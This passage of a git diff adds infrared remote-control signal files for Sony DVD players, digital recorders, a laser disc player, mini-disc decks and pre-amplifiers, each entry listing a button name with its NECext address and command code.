+name: BOOKMARK/SEARCH_MENU +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 30 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 42 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 43 00 00 00 +# +name: VCR_+ +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 4C 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 4D 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 4F 00 00 00 +# +name: NEXT_> +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 56 00 00 00 +# +name: <_PREV +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 57 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 58 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 5A 00 00 00 +# +name: REPEAT/REPLAY +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 5B 00 00 00 +# +name: SKIP_> +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 5D 00 00 00 +# +name: SUBTITLE/TIMER +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 60 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 61 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 62 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 63 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 65 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 69 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 6A 00 00 00 +# +name: MUTE/ZOOM +type: parsed +protocol: NECext +address: 1A 53 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir new file mode 100644 index 000000000..a92e1c271 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: STEP> +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 14 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 20 00 00 00 +# +name: FILE +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 20 00 00 00 +# +name: AUDIO_/_FILE +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 20 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 21 00 00 00 +# +name: SORT +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 21 00 00 00 +# +name: ANGLE_/_SORT +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 21 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 22 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 22 00 00 00 +# +name: SUBTITLE_/_EDIT +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 22 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3D 00 00 00 +# +name: DISC_SKIP_-- +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3D 00 00 00 +# +name: DISC_SKIP_- +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3D 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3E 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3E 00 00 00 +# +name: DISC_SKIP_+ +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3E 00 00 00 +# +name: FLIP +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 3F 00 00 00 +# +name: FOLDER_(ALL) +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 40 00 00 00 +# +name: FOLDER_.ALL +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 40 00 00 00 +# +name: ALL +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 40 00 00 00 +# +name: FOLDER_ALL +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 40 00 00 00 +# +name: DVD_FOLDER +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 41 00 00 00 +# +name: FOLDER_.DVD +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 41 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 41 00 00 00 +# +name: FOLDER_DVD +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 41 00 00 00 +# +name: CD_FOLDER +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 42 00 00 00 +# +name: FOLDER_.CD +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 42 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 42 00 00 00 +# +name: FOLDER_CD +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 42 00 00 00 +# +name: FOLDER_A +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 43 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 43 00 00 00 +# +name: FOLDER_B +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 44 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 44 00 00 00 +# +name: FOLDER_C +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 45 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 45 00 00 00 +# +name: FOLDER_D +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 46 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 46 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir new file mode 100644 index 000000000..e7517996e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF_(ALT.) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir new file mode 100644 index 000000000..c022259bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir new file mode 100644 index 000000000..c8a37eeec --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 09 00 00 00 +# +name: ENTER/JUMP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 0B 00 00 00 +# +name: CHANNEL/PAGE_+ +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 10 00 00 00 +# +name: CHANNEL/PAGE_- +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1A 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1B 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 1D 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 23 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 2B 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5E 00 00 00 +# +name: ARROW-UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 5F 00 00 00 +# +name: ARROW-DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 60 00 00 00 +# +name: ARROW-RIGHT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 61 00 00 00 +# +name: ARROW-LEFT +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 62 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 63 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 6F 00 00 00 +# +name: THUMBS-UP +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 70 00 00 00 +# +name: THUMBS-DOWN +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 71 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 72 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 1A 9A 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir new file mode 100644 index 000000000..e605c1659 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0D 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 33 00 00 00 +# +name: FWD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 5C 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: C_DN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: C_LF +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: C_RT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir new file mode 100644 index 000000000..497ac01e7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: TITLE_LIST +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 10 00 00 00 +# +name: INSTANT_SEARCH +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 14 00 00 00 +# +name: TOOLS +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 17 00 00 00 +# +name: CURSOR_MODE +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 18 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 19 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 1C 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 1A 62 00 00 +command: 79 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir new file mode 100644 index 000000000..11d595c33 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 09 00 00 00 +# +name: SEARCH/NEXT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0B 00 00 00 +# +name: FRAME/TIME +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 15 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1A 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1E 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 1F 00 00 00 +# +name: SPEED_SET+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 21 00 00 00 +# +name: SPEED_SET_+ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 21 00 00 00 +# +name: SPEED_SET- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 22 00 00 00 +# +name: SPEED_SET_- +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 22 00 00 00 +# +name: MULTI-SPEED> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 23 00 00 00 +# +name: MULTISPEED_> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 23 00 00 00 +# +name: MULTI-SPEED< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 24 00 00 00 +# +name: MULTISPEED_< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 24 00 00 00 +# +name: MEMORY_PLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 25 00 00 00 +# +name: AV_TIME +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 28 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 29 00 00 00 +# +name: STILL/STEP> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2B 00 00 00 +# +name: STILL/STEP_> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2B 00 00 00 +# +name: STILL/STEP< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2C 00 00 00 +# +name: STILL/STEP_< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 2F 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 30 00 00 00 +# +name: CX +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 32 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: ACS/AMS_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 34 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: ACS/AMS_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 35 00 00 00 +# +name: REPEAT_A-B +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 38 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3A 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 40 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 41 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 44 00 00 00 +# +name: AUTO_PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 46 00 00 00 +# +name: 1/ALL +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 47 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 68 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir new file mode 100644 index 000000000..071ea7830 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir @@ -0,0 +1,464 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 1_(F) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 2_(G) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 3_(H) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: 4_(I) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: 5_(J) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: 6_(K) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 7_(L) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 8_(M) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: 9_(N) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: 10_(O) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0A 00 00 00 +# +name: >25_(/) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0A 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: SCROLL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: (E) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: (D) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: CONTINUE_(A) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1D 00 00 00 +# +name: SHUFFLE_(B) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1E 00 00 00 +# +name: PROGRAM_(C) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: STEP_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: REPEAT_(?) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: A--B_(!) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CD-SYNC_START +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: <> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: T._REC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: A._SPACE_(() +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: M._SCAN_()) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: WRITE_CHAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: WRITE_NUM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: WRITE_NAME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3E 00 00 00 +# +name: MUSIC_SYNC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: 11_(P) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 40 00 00 00 +# +name: 12_(Q) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 41 00 00 00 +# +name: 13_(R) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 42 00 00 00 +# +name: 14_(S) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 43 00 00 00 +# +name: 15_(T) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 44 00 00 00 +# +name: 16_(U) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 45 00 00 00 +# +name: 17_(V) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 46 00 00 00 +# +name: 18_(W) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 47 00 00 00 +# +name: 19_(X) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 48 00 00 00 +# +name: 20_(Y) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 49 00 00 00 +# +name: 21_(Z) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4A 00 00 00 +# +name: 22_(-) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4B 00 00 00 +# +name: 23_(_) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4C 00 00 00 +# +name: 24_(.) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4D 00 00 00 +# +name: 25_(_) +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 4E 00 00 00 +# +name: FADER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 69 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir new file mode 100644 index 000000000..61683480d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: CD-SYNC_STANDBY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: CD-SYNC_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir new file mode 100644 index 000000000..58777a21d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir new file mode 100644 index 000000000..ab539d687 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: TV +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 18 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 19 00 00 00 +# +name: DYNAMICS +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 33 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 3F 00 00 00 +# +name: 